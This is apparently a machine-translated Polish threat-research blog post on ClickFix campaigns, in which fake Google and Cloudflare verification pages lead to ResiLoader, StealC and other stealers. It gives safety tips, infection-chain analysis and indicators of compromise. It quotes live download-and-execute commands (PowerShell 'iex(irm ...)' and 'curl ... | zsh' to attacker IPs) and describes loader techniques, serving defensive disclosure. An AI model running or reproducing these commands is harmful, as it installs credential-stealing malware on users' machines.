Fałszywe strony weryfikacyjne Google i Cloudflare rozpowszechniają wiele rodzin złośliwego oprogramowania

| 2 lipca 2026 r.
Fałszywe strony weryfikacyjne Google i Cloudflare rozpowszechniają wiele rodzin złośliwego oprogramowania

Ataki typu ClickFix, które nakłaniają użytkowników do samodzielnego uruchamiania złośliwych poleceń, wciąż ewoluują. W najnowszej kampanii wykorzystuje się fałszywe strony weryfikacyjne Google i Cloudflare, aby przekonać ofiary do zainfekowania własnych urządzeń.

Jeden błąd może spowodować zainstalowanie złośliwego oprogramowania, które wykradnie hasła i inne poufne dane, zapewni atakującym zdalny dostęp do komputera lub pobierze dodatkowe złośliwe oprogramowanie, które może przejąć pełną kontrolę nad systemem.

Udało nam się wykryć wiele kampanii wykorzystujących tę samą infrastrukturę do rozpowszechniania złośliwego oprogramowania, w tym HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport oraz program kradnący dane oparty na Rust.

W jednym z łańcuchów infekcji złośliwa wersja legalnej aplikacji do przesyłania wiadomości „Franz” pobiera nieznany dotąd moduł ładujący o nazwie ResiLoader, który wyłącza oprogramowanie zabezpieczające przed uruchomieniem programu wykradającego dane StealC.

Zanim przejdziemy do szczegółów technicznych, oto kilka wskazówek, jak uniknąć stania się kolejną ofiarą.

Jak zachować bezpieczeństwo

Ataki typu ClickFix polegają na nakłonieniu użytkownika do samodzielnego uruchomienia poleceń. Najbezpieczniejsze podejście jest proste:

  • Nigdy nie kopiuj ani nie uruchamiaj poleceń ze stron internetowych, chyba że postępujesz zgodnie z instrukcjami pochodzącymi z zaufanego źródła i dokładnie rozumiesz, jak działa dane polecenie.
  • Należy zachować ostrożność w przypadku stron weryfikacyjnych. Google, Cloudflare, Microsoft i inne wiarygodne serwisy nigdy nie proszą o wklejenie poleceń PowerShell w Windows potwierdzenia, że jesteś człowiekiem, ani Windows rozwiązania jakiegoś problemu.
  • Nie daj się ponieść pośpiechowi. Fałszywe strony weryfikacyjne często wykorzystują liczniki odliczające czas, liczniki odwiedzin lub ostrzeżenia, aby wywrzeć na tobie presję i skłonić cię do szybkiego działania.
  • Dbaj o aktualność oprogramowania zabezpieczającego. Ochrona w czasie rzeczywistym oraz ochrona sieciowa mogą pomóc w blokowaniu złośliwych stron internetowych, zanim się na nie dostaniesz.
  • Zastanów się nad nieoczekiwanymi instrukcjami technicznymi. Jeśli strona internetowa nakazuje Ci uruchomienie programu PowerShell, Wiersza poleceń lub Terminala, zatrzymaj się i zweryfikuj te instrukcje za pośrednictwem oficjalnych kanałów pomocy technicznej danej firmy.

Wskazówka dla zaawansowanych: Malwarebytes Browser Guard może ostrzec Cię, gdy strona internetowa próbuje skopiować treść do schowka — jest to powszechna sztuczka stosowana przez strony ClickFix.

Analiza techniczna

Kampanie przeanalizowane w niniejszym badaniu działają co najmniej od końca 2025 roku i wykorzystują różne fałszywe strony Google oraz Cloudflare do rozpowszechniania złośliwego oprogramowania. Chociaż przynęty różnią się między sobą, w dużej mierze opierają się na tej samej infrastrukturze i tym samym łańcuchu infekcji, a atakujący nieustannie testują nowe metody dostarczania i ładunki złośliwe.

Różne przynęty, jeden cel

Większość kampanii ma kilka wspólnych cech:

  • Korzystanie z folderu C:\ProgramData\Zooms w celu wyodrębnienia późniejszych etapów
  • Polecenia PowerShell ClickFix o podobnej strukturze
  • Wykorzystanie zasobników Cloudflare R2 do dostarczania treści
  • Adresy IP obsługiwane przez firmę ASN Dedik Services Limited
  • Odpowiedzi HTML zawierające wyłącznie frazę "hehe"

Wskaźniki te ulegały zmianom na przestrzeni czasu, dlatego nie występują we wszystkich łańcuchach infekcji. Kampanie te nieustannie ewoluują, a nowe ładunki i metody ich dostarczania są regularnie wprowadzane. Na przykład w niektórych przypadkach do dystrybucji ładunku wykorzystuje się bezpośrednio adres IP zamiast zasobników.

Ostatnie polecenie skopiowane przez użytkownika zazwyczaj ma następujący wzór: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

W analizowanych przypadkach port i ścieżka nie zawsze występują; porty są losowe, ale niektóre z nich to: 6600, 9900, 5506, 7895, 7493, 149, 8442. 

Do wykonania tych poleceń wykorzystywanych jest kilka szablonów związanych z ClickFix, dotyczących głównie Google i Cloudflare. Stwierdziliśmy również, że w niektórych przypadkach polecenie PowerShell było rozpowszechniane za pośrednictwem frameworka IClickFix. 

Zauważyliśmy, że kampanie ClickFix były rozpowszechniane za pośrednictwem:

  • Stare strony internetowe, których ważność prawdopodobnie wygasła i które zostały ponownie nabyte przez sprawcę (sprawców).  
  • CloudFlare Pages (.pages.dev domeny). 
  • Zhakowane strony internetowe. 
  • Fałszywe usługi, na przykład związane z kodami QR lub dostępem do plików internetowych. 

Google ClickFix przyciąga 

Podmioty stojące za tymi kampaniami korzystają z różnych stron HTML i zestawów narzędzi związanych z Google. 

Jedna z przynęt udaje weryfikację Google reCAPTCHA. Strony te są hostowane pod losowymi adresami URL, które wyświetlają fałszywe lub złośliwe treści. Domeny te to często starsze rejestracje, które od niedawna są przekierowywane na nowe adresy IP, co sugeruje, że zostały one przeznaczone na potrzeby tej kampanii.

Niektóre z tych stron zawierają parametry adresów URL, takie jak np. „zoneid”, „cost”, „device”, „country”, „clickid”, na przykład: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
Strona ClickFix „Wymagana ręczna weryfikacja”
Strona ClickFix „Wymagana ręczna weryfikacja”
Strona ClickFix „Wymagana ręczna weryfikacja”

W tym przypadku funkcje związane z ClickFix są zaimplementowane w klasie CustomCaptcha. Polecenie jest zapisane w postaci jawnej, bez żadnych środków zaciemniających. 

Metoda „StartVerification” w klasie „CustomCaptcha”
Metoda „StartVerification” w klasie „CustomCaptcha”

Inna metoda dystrybucji wykorzystuje serwis Cloudflare Pages hostowany na .pages.dev poddomeny.

Strona ClickFix „Potwierdź, że jesteś człowiekiem”
Strona ClickFix „Potwierdź, że jesteś człowiekiem”

W tym przypadku strona HTML została zaszyfrowana poprzez zadeklarowanie kilku zmiennych i zastosowanie do nich operacji XOR. Kod po odszyfrowaniu nosi nazwę SECURITY GATEWAY i składa się z funkcji GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenControlleri PanelController.  

Kod umożliwia atakującym pobranie polecenia zarówno zdalnie, jak i lokalnie. W tym przykładzie złośliwe polecenie PowerShell jest przechowywane lokalnie.

Polecenie PowerShell zadeklarowane w kodzie „SECURITY GATEWAY”
Polecenie PowerShell zadeklarowane w kodzie „SECURITY GATEWAY”

Odkryliśmy również, że niektóre z tych domen rozpowszechniały w przeszłości inną pułapkę, w tym przypadku związaną z nieautoryzowanym logowaniem do serwisu Google. Ta pułapka typu ClickFix prosi użytkownika o skopiowanie i wklejenie złośliwego polecenia w celu ustawienia swojego urządzenia jako głównego. 

Strona ClickFix „Zaloguj się ponownie za pomocą zaufanego tokena”
Strona ClickFix „Zaloguj się ponownie za pomocą zaufanego tokena”

Ciekawą cechą tego zestawu ClickFix jest to, że zawiera on „punkt zatwierdzenia”, jak opisano w komentarzach, oraz że osoba atakująca musi ręcznie wybrać z panelu polecenie, które użytkownik ma wykonać. 

Uwagi dotyczące zestawu i „etapu zatwierdzania”
Uwagi dotyczące zestawu i „etapu zatwierdzania”
Uwagi dotyczące zestawu i „etapu zatwierdzania”

W ostatnich kampaniach wykryliśmy przynętę typu „ClickFix” związaną z aplikacją Google Meet, która wymaga skopiowania i wklejenia złośliwego polecenia w celu usunięcia problemów z dźwiękiem. 

Przynęta „napraw sterownik audio” Meet ClickFix
Przynęta „napraw sterownik audio” w Google Meet ClickFix

W analizowanych przypadkach punkt końcowy /api/driver-clipboard.php zwróciło następujące złośliwe polecenie:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Inne przynęty 

Osoby stojące za tą kampanią wykorzystują różne zestawy narzędzi i przynęty, związane głównie z Google. Wykryliśmy jednak również inne przynęty, które kopiowały polecenia związane z tą samą infrastrukturą. 

Sprawcy tych kampanii przejmują również kontrolę nad wieloma stronami internetowymi, wykorzystując różne szablony związane z przynętą CloudFlare ClickFix

„Potwierdź, że jesteś człowiekiem” – strony ClickFix
„Potwierdź, że jesteś człowiekiem” – strony ClickFix
„Potwierdź, że jesteś człowiekiem” – strony ClickFix

Wykryliśmy kilka szablonów wykorzystywanych na stronach CloudFlare. W analizowanych przypadkach polecenie to występuje w postaci jawnej lub, w niektórych przypadkach, w postaci zaszyfrowanej. 

Niektóre strony HTML usługi CloudFlare ClickFix 
Niektóre strony HTML usługi CloudFlare ClickFix 
Niektóre strony HTML usługi CloudFlare ClickFix 
Niektóre strony HTML usługi CloudFlare ClickFix 

Wykryliśmy również kilka specjalnie stworzonych fałszywych stron internetowych oferujących usługi. Na przykład strona „My QR Generator” wyświetla zaszyfrowany kod QR i prosi użytkownika o uruchomienie polecenia w PowerShellu w celu potwierdzenia, że nie jest robotem. 

Strona promocyjna ClickFix „Kod QR” 
Strona promocyjna ClickFix „Kod QR” 

W tym przypadku polecenie jest zakodowane w systemie Base-64: 

Rozszyfrowane polecenie PowerShell
Rozszyfrowane polecenie PowerShell

Narzędzie do pobierania PowerShell 

Polecenie ClickFix uruchomione przez użytkownika dekoduje skrypt i umieszcza go w folderze Temp pod nazwą tmp{4 char}.tmp.ps1

Wykryliśmy kilka odmian tego skryptu, ale najnowsze wersje działają w następujący sposób: 

  • Utwórz folder C:\ProgramData\Zooms
  • Pobierz kolejny etap z zasobnika CloudFlare i zapisz go w C:\ProgramData\Zooms. W niektórych wersjach skryptu kolejny etap jest pobierany bezpośrednio z adresu IP. 
  • Prześlij informacje dotyczące zainfekowanego komputera na adres http://{IP}/dl-callback. W niektórych wersjach scenariusza ta część nie występuje. 
Skrypt PowerShell, który się zawiesił
Skrypt PowerShell, który się zawiesił

Sprawcy tych kampanii wykorzystują wiele różnych ładunków. W ramach tych kampanii rozpowszechniane są różnorodne ładunki. Poniższa tabela zawiera zestawienie niektórych nazw pobranych plików oraz złośliwego oprogramowania, które instalują. W wielu z analizowanych przypadków ostateczny ładunek był rozpowszechniany za pomocą techniki „DLL Hijacking”, co zobaczymy również później w przypadku programu kradnącego dane StealC. 

Plik udostępniony Rozpowszechnianie złośliwego oprogramowania 
libEGL.zip, Safe-1.zip Zainfekowana aplikacja Electron, ResiLoader i StealC 
Test.msi Deno Loader i PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Złodziej rdzy 

Przeanalizowaliśmy nowy program ładujący o nazwie ResiLoader, który ostatecznie rozpowszechnia złośliwe oprogramowanie StealC. Stwierdziliśmy również, że sprawca ataków w najnowszych kampaniach zaczął wykorzystywać środowisko Deno do rozpowszechniania programu kradnącego dane, opracowanego w języku PowerShell; analiza tego łańcucha infekcji może stać się tematem przyszłego wpisu na blogu. 

Aplikacja Electron zawierająca trojana pobiera ResiLoader

W tym przypadku plik ZIP został pobrany ze strony: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Po wyodrębnieniu do: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

Plik ZIP zawiera zainfekowaną trojanem wersję aplikacji do przesyłania wiadomości typu open source o nazwie „Franz”: 

Zainfekowana trojanem aplikacja „Franz”, służąca do pobierania programu ResiLoader
Zainfekowana trojanem aplikacja „Franz”, służąca do pobierania programu ResiLoader

Złośliwy kod jest zaimplementowany w index.js plik: 

Zaszyfrowany kod w aplikacji zawierającej backdoora
Zaszyfrowany kod w aplikacji zawierającej backdoora

Program do pobierania wykonuje następujące operacje: 

  • Zdekoduj ciągi znaków za pomocą funkcji HC()
  • Liczba wyświetleń readme.txt, oczekuje klucza kampanii w postaci AAAA-BBBB, zwraca ją jako tablicę tokenów. W tym przypadku nazwa to resiloader-1 i w tym celu nazwaliśmy pobrany plik DLL „ResiLoader”. 
  • Liczba wyświetleń %APPDATA%\setup.txt; jeśli brakuje tej wartości, generuje losowy ciąg znaków o długości 8 znaków i zapisuje go na stałe.  
  • Zapewnienie trwałości za pomocą app.setLoginItemSettings
  • Wysyła żądanie POST do https[:]//completstep[.]com/api/ oraz opracować odpowiedź w formacie JSON
    • Jeśli task.e jeśli jest obecny, to wykonuje eval(task.e); umożliwia to atakującemu wykonanie dowolnego kodu JavaScript. 
    • Jeśli task.files jeśli istnieje, utwórz %TEMP%\<Date.now()>\, zdekodować i zapisać każdy plik; jeśli nazwa jakiegokolwiek pliku kończy się na .exe, uruchom to za pomocą child_process.exec

W naszym przypadku otrzymaliśmy plik ZIP, który przeprowadza przejęcie kontroli nad biblioteką DLL ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

Następnie plik wykonywalny uruchomiono za pomocą polecenia: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

The msys-crypto-3.dll jest zaszyfrowanym .NET NativeAOT loader który wykorzystuje technikę BYOD do obejścia oprogramowania antywirusowego i EDR, zapewnia sobie trwałość w systemie, a ostatecznie ładuje program kradnący dane StealC. Nie znaleźliśmy konkretnych informacji pozwalających na przypisanie autorstwa tego modułu ładującego, dlatego nazwaliśmy go „ResiLoader” na podstawie ciągu znaków występującego w poprzednich readme.txt

Program ładujący zawiera kilka ciągów znaków – niektóre są jawne, a inne zaszyfrowane. Po odszyfrowaniu tych ciągów można uzyskać pełny obraz funkcjonalności programu ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

Ładowarka wykonuje następujące czynności: 

  • Rozpakuj zakodowany blob zawierający dwa ładunki, odczytując znacznik AtLorenBase oraz długość zakodowanego blobu. Następnie funkcja ta dekoduje blob i odszyfrowuje sterownik pcdhost.sys (OPSWAT  
    (AppRemover Driver) oraz ładunek StealC przy użyciu niestandardowego algorytmu deszyfrowania.  
  • Zakończ ponad 140 procesów związanych z oprogramowaniem EDR/AV za pomocą usuniętego sterownika. 
  • Obejść kontrolę UAC za pomocą ICMLuaUtil Rozszerzony interfejs COM. 
  • Utwórz folder C:\ProgramData\Google Update, kopiując się; zapewniając trwałość za pomocą klucza rejestru RUN 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Ostatecznie program ładujący przeprowadza proces „hollowing” tego procesu ServiceModelReg.exe aby uruchomić program StealC. 

IOC 

Hash 

72907d0ca3258365838626f6a8d993a6: Plik DLL ResiLoader 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Złodziej rdzy 

Domeny 

Udostępnij strony ClickFix: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

Segmenty CloudFlare wykorzystywane do dystrybucji ładunku

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: rozkład ładunku 

bigflaredefence[.]com: rozkład ładunku 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Ładowarka C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

adresy IP 

Adres IP używany do dystrybucji danych użytkowych

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Podziękowania  

O autorze

Gabriele jest inżynierem ds. badań nad złośliwym oprogramowaniem, który uwielbia walkę z tym zagrożeniem. Kiedy nie zajmuje się tym, można go spotkać, jak cieszy się przyrodą, sztuką i zwierzętami.